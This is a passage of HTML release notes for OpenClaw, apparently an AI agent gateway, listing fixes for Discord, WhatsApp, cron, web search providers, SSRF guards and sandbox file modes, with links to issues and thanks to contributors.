<p>Control UI/slash commands: keep fallback command metadata on a browser-safe registry path, so provider thinking runtime imports cannot blank the Web UI with <code>process is not defined</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368284321" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75987" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75987/hovercard" href="https://github.com/openclaw/openclaw/issues/75987">#75987</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/novkien/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/novkien">@novkien</a>.</p>
</li>
<li>
<p>Heartbeat/Discord: keep async exec completion events out of the generic <code>System (untrusted)</code> prompt block and let the dedicated exec heartbeat prompt handle them, so Discord no longer receives raw exec failure tails as separate system-style messages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259713936" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66366" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66366/hovercard" href="https://github.com/openclaw/openclaw/issues/66366">#66366</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Promee-ThaBossHoss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Promee-ThaBossHoss">@Promee-ThaBossHoss</a>.</p>
</li>
<li>
<p>Channels: strip plain-text MiniMax and XML tool-call scaffolding from shared user-facing reply sanitization, so messaging channels do not deliver raw model tool syntax when a provider emits it as text instead of structured tool calls. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221535812" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62820" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62820/hovercard" href="https://github.com/openclaw/openclaw/issues/62820">#62820</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/canh0chua/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/canh0chua">@canh0chua</a>.</p>
</li>
<li>
<p>Infer/media: report missing image-understanding and audio-transcription provider configuration for <code>image describe</code>, <code>image describe-many</code>, and <code>audio transcribe</code> instead of blaming the input path when no provider is available. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343347839" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73569" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73569/hovercard" href="https://github.com/openclaw/openclaw/issues/73569">#73569</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343748623" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73593" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73593/hovercard" href="https://github.com/openclaw/openclaw/pull/73593">#73593</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349938490" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74288" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74288/hovercard" href="https://github.com/openclaw/openclaw/pull/74288">#74288</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352412851" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74495" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74495/hovercard" href="https://github.com/openclaw/openclaw/pull/74495">#74495</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bittoby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bittoby">@bittoby</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tmimmanuel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tmimmanuel">@tmimmanuel</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Linux2010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Linux2010">@Linux2010</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vyctorbrzezowski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vyctorbrzezowski">@vyctorbrzezowski</a>.</p>
</li>
<li>
<p>Docs/health: clarify that session listing surfaces stored conversation rows rather than Discord/channel socket liveness, and point connectivity checks at channel status and health probes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4312712740" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70420" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70420/hovercard" href="https://github.com/openclaw/openclaw/issues/70420">#70420</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ashersoutherncities-art/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ashersoutherncities-art">@ashersoutherncities-art</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</p>
</li>
<li>
<p>WhatsApp/Cron: keep DM pairing-store approvals out of implicit cron and heartbeat recipient fallback, so scheduled automation only uses explicit targets, active configured recipients, or configured <code>allowFrom</code> entries. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4215965103" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62339" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62339/hovercard" href="https://github.com/openclaw/openclaw/issues/62339">#62339</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kelvinisly-collab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kelvinisly-collab">@kelvinisly-collab</a>.</p>
</li>
<li>
<p>Google Meet: keep the agent-facing <code>google_meet</code> tool visible on non-macOS hosts but block local Chrome realtime actions with guidance, so Linux agents can still use transcribe, Twilio, chrome-node, and artifact flows without choosing the macOS-only BlackHole path. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367913692" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75950" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75950/hovercard" href="https://github.com/openclaw/openclaw/issues/75950">#75950</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/actual-software-inc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/actual-software-inc">@actual-software-inc</a>.</p>
</li>
<li>
<p>macOS/settings: keep opening General from rewriting <code>openclaw.json</code> during Tailscale settings hydration, preserving <code>gateway</code>, <code>auth</code>, <code>meta</code>, and <code>wizard</code> until the user changes a setting. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4192663996" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59545" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59545/hovercard" href="https://github.com/openclaw/openclaw/issues/59545">#59545</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Tengdw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Tengdw">@Tengdw</a>.</p>
</li>
<li>
<p>Discord: prioritize interaction callbacks ahead of stale background REST work without polling active REST buckets, validate oversized gateway payloads and member-intent requests before send, and forward explicit component payloads from message actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362439940" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75363" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75363/hovercard" href="https://github.com/openclaw/openclaw/pull/75363">#75363</a>)</p>
</li>
<li>
<p>Active Memory: use the configured recall timeout as the blocking prompt-build hook budget by default and move cold-start setup grace behind explicit <code>setupGraceTimeoutMs</code> config, so the plugin no longer silently extends 15000 ms configs to 45000 ms on the main lane. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367042978" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75843" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75843/hovercard" href="https://github.com/openclaw/openclaw/issues/75843">#75843</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishutdhar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishutdhar">@vishutdhar</a>.</p>
</li>
<li>
<p>Plugins/web-provider: reuse the active gateway plugin registry for runtime web provider resolution after deriving the same candidate plugin ids as the loader path, avoiding a redundant <code>loadOpenClawPlugins</code> call on every request while preserving origin and scope filters. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363428779" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75513" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75513/hovercard" href="https://github.com/openclaw/openclaw/issues/75513">#75513</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jochen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jochen">@jochen</a>.</p>
</li>
<li>
<p>Crestodian/CLI: exit non-zero when interactive Crestodian is invoked without a TTY, so scripts and CI no longer treat the setup error as success. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344381793" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73646" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73646/hovercard" href="https://github.com/openclaw/openclaw/issues/73646">#73646</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347317157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73928" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73928/hovercard" href="https://github.com/openclaw/openclaw/pull/73928">#73928</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347801211" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74059" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74059/hovercard" href="https://github.com/openclaw/openclaw/pull/74059">#74059</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bittoby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bittoby">@bittoby</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luyao618/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luyao618">@luyao618</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Linux2010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Linux2010">@Linux2010</a>.</p>
</li>
<li>
<p>Cron: keep implicit/default isolated cron announce deliveries out of the main session awareness queue, so isolated jobs do not accumulate in the main conversation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4208027555" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61426" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61426/hovercard" href="https://github.com/openclaw/openclaw/issues/61426">#61426</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lihannon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lihannon">@Lihannon</a>.</p>
</li>
<li>
<p>Subagents: avoid duplicate parent-visible replies when a parent uses <code>sessions_send</code> on its own persistent native subagent session, while preserving announce delivery for async sends. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342979045" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73550" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73550/hovercard" href="https://github.com/openclaw/openclaw/issues/73550">#73550</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sylviazhang2006-design/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sylviazhang2006-design">@sylviazhang2006-design</a>.</p>
</li>
<li>
<p>Web search/Brave: add opt-in <code>brave.http</code> diagnostics for Brave request URLs/query params, response status/timing, and cache hit/miss/write events without logging API keys or response bodies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4144203570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55196" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55196/hovercard" href="https://github.com/openclaw/openclaw/issues/55196">#55196</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mecampbellsoup/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mecampbellsoup">@mecampbellsoup</a>.</p>
</li>
<li>
<p>Web search/Brave: add <code>plugins.entries.brave.config.webSearch.baseUrl</code> for Brave-compatible proxies, including endpoint-aware cache keys for both web and LLM Context modes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3951923414" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/19075" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/19075/hovercard" href="https://github.com/openclaw/openclaw/issues/19075">#19075</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jkoprax/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jkoprax">@jkoprax</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishnukool/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishnukool">@vishnukool</a>.</p>
</li>
<li>
<p>Web search/config: validate explicit <code>tools.web.search.provider</code> values against bundled and installed plugin manifests, while warning for stale third-party plugin config. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4123070790" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53092" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53092/hovercard" href="https://github.com/openclaw/openclaw/issues/53092">#53092</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TinyTb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TinyTb">@TinyTb</a>.</p>
</li>
<li>
<p>Web search/SearXNG: retry empty non-general category searches once with the general category, so unsupported category engines do not return empty results when general search has matches. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343014523" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73552" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73552/hovercard" href="https://github.com/openclaw/openclaw/issues/73552">#73552</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Loukky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Loukky">@Loukky</a>.</p>
</li>
<li>
<p>CLI/message: skip gateway-stop hooks for read-only <code>message read</code> and bound stop-hook shutdown for other message actions, so one-shot Discord reads cannot hang behind plugin lifecycle cleanup.</p>
</li>
<li>
<p>Plugins/web-provider: cache repeated bundled web search and web fetch provider registry loads by default while preserving explicit cache opt-outs. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368302945" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75992" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75992/hovercard" href="https://github.com/openclaw/openclaw/pull/75992">#75992</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DmitryPogodaev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DmitryPogodaev">@DmitryPogodaev</a>.</p>
</li>
<li>
<p>Agents/sandbox: preserve existing workspace file modes when sandbox edits atomically replace files, so 0644 files do not collapse to 0600 after Write/Edit/apply_patch. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4064748597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44077" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44077/hovercard" href="https://github.com/openclaw/openclaw/issues/44077">#44077</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/patosullivan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/patosullivan">@patosullivan</a>.</p>
</li>
<li>
<p>Control UI/WebChat: route typed <code>/new</code> through the New Chat dashboard-session creation flow instead of <code>chat.send</code>, while keeping <code>/reset</code> as the explicit current-session reset. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4300356598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69599" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69599/hovercard" href="https://github.com/openclaw/openclaw/issues/69599">#69599</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WolvenRA/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WolvenRA">@WolvenRA</a>.</p>
</li>
<li>
<p>Agents/models: keep legacy CLI runtime model refs such as <code>claude-cli/*</code> in the configured allowlist after canonical runtime migration, so cron <code>payload.model</code> overrides keep working. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365669096" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75753" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75753/hovercard" href="https://github.com/openclaw/openclaw/issues/75753">#75753</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RyanSandoval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RyanSandoval">@RyanSandoval</a>.</p>
</li>
<li>
<p>Codex/app-server: restart the shared Codex app-server client once when it closes during startup thread resume, preserving the existing thread binding instead of retrying <code>thread/start</code> on a closed client. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Gateway/watch: keep colored subsystem log prefixes in the managed tmux pane even when the parent shell exports <code>NO_COLOR</code>, while preserving explicit <code>FORCE_COLOR=0</code> opt-out. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Agents/compaction: submit a non-empty runtime-event marker for pre-compaction memory flush turns, so strict Anthropic providers no longer reject the silent flush as an empty user message. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361911066" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75305" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75305/hovercard" href="https://github.com/openclaw/openclaw/issues/75305">#75305</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sableassistant3777-source/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sableassistant3777-source">@sableassistant3777-source</a>.</p>
</li>
<li>
<p>Plugin SDK: re-export <code>isPrivateIpAddress</code> from <code>plugin-sdk/ssrf-runtime</code>, restoring source-checkout builds for SearXNG and Firecrawl private-network guards. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Discord/message actions: advertise <code>upload-file</code> and route it through Discord's send runtime with agent-scoped media reads, so agents can discover and send file attachments. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4203171087" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60652" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60652/hovercard" href="https://github.com/openclaw/openclaw/issues/60652">#60652</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4204560464" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60808" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60808/hovercard" href="https://github.com/openclaw/openclaw/pull/60808">#60808</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4206054244" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61087" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/61087/hovercard" href="https://github.com/openclaw/openclaw/pull/61087">#61087</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4206088150" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61100" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/61100/hovercard" href="https://github.com/openclaw/openclaw/pull/61100">#61100</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claw-io/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claw-io">@claw-io</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/efe-arv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/efe-arv">@efe-arv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joelnishanth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joelnishanth">@joelnishanth</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjhddh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjhddh">@sjhddh</a>.</p>
</li>
<li>
<p>Sessions: suppress exact inter-session control replies such as <code>NO_REPLY</code> and keep agent-to-agent announce bookkeeping out of visible transcripts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4123622416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53145" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53145/hovercard" href="https://github.com/openclaw/openclaw/issues/53145">#53145</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TarahAssistant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TarahAssistant">@TarahAssistant</a>.</p>
</li>
<li>
<p>CLI/directory: report unsupported directory operations for installed channel plugins instead of prompting to reinstall the plugin when it lacks a directory adapter. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365917479" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75770" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75770/hovercard" href="https://github.com/openclaw/openclaw/issues/75770">#75770</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lawong888/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lawong888">@lawong888</a>.</p>
</li>
<li>
<p>Web search/SearXNG: show the JSON API <code>search.formats</code> prerequisite during SearXNG setup before prompting for the base URL. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4250289649" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65592" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65592/hovercard" href="https://github.com/openclaw/openclaw/pull/65592">#65592</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/evanpaul14/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/evanpaul14">@evanpaul14</a>.</p>
</li>
<li>
<p>Web search/SearXNG: pass through <code>img_src</code> image URLs from SearXNG image-category results. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4207995751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61416" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/61416/hovercard" href="https://github.com/openclaw/openclaw/pull/61416">#61416</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sghael/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sghael">@sghael</a>.</p>
</li>
<li>
<p>Web search/Kimi: fail explicitly when Moonshot returns an ungrounded chat answer instead of native web-search evidence, so Kimi no longer reports generic fallback text as a successful search. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4117727594" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52573" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52573/hovercard" href="https://github.com/openclaw/openclaw/issues/52573">#52573</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wangwllu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wangwllu">@wangwllu</a>.</p>
</li>
<li>
<p>Web search: keep public provider requests on the strict SSRF guard and reserve private-network access for explicit self-hosted SearXNG/Firecrawl endpoints. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350921258" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74357" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74357/hovercard" href="https://github.com/openclaw/openclaw/issues/74357">#74357</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350976183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74360" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74360/hovercard" href="https://github.com/openclaw/openclaw/pull/74360">#74360</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fede-kamel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fede-kamel">@fede-kamel</a>.</p>
</li>
<li>
<p>Firecrawl: reject private, loopback, metadata, and non-HTTP(S) <code>firecrawl_scrape</code> target URLs before forwarding them to Firecrawl. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4081587848" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48133" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48133/hovercard" href="https://github.com/openclaw/openclaw/pull/48133">#48133</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kn1ghtc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kn1ghtc">@kn1ghtc</a>.</p>
</li>
<li>
<p>Web search/Firecrawl: allow self-hosted private/internal Firecrawl <code>baseUrl</code> endpoints, including HTTP for private targets, while keeping hosted Firecrawl on the strict official endpoint. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4234128169" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63877" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63877/hovercard" href="https://github.com/openclaw/openclaw/issues/63877">#63877</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4194271236" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59666" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/59666/hovercard" href="https://github.com/openclaw/openclaw/pull/59666">#59666</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4235261313" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63941" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63941/hovercard" href="https://github.com/openclaw/openclaw/pull/63941">#63941</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347547141" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74013" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74013/hovercard" href="https://github.com/openclaw/openclaw/pull/74013">#74013</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jhthompson12/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jhthompson12">@jhthompson12</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jzakirov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jzakirov">@jzakirov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mlightsnow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mlightsnow">@Mlightsnow</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shad0wca7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shad0wca7">@shad0wca7</a>.</p>
</li>
<li>
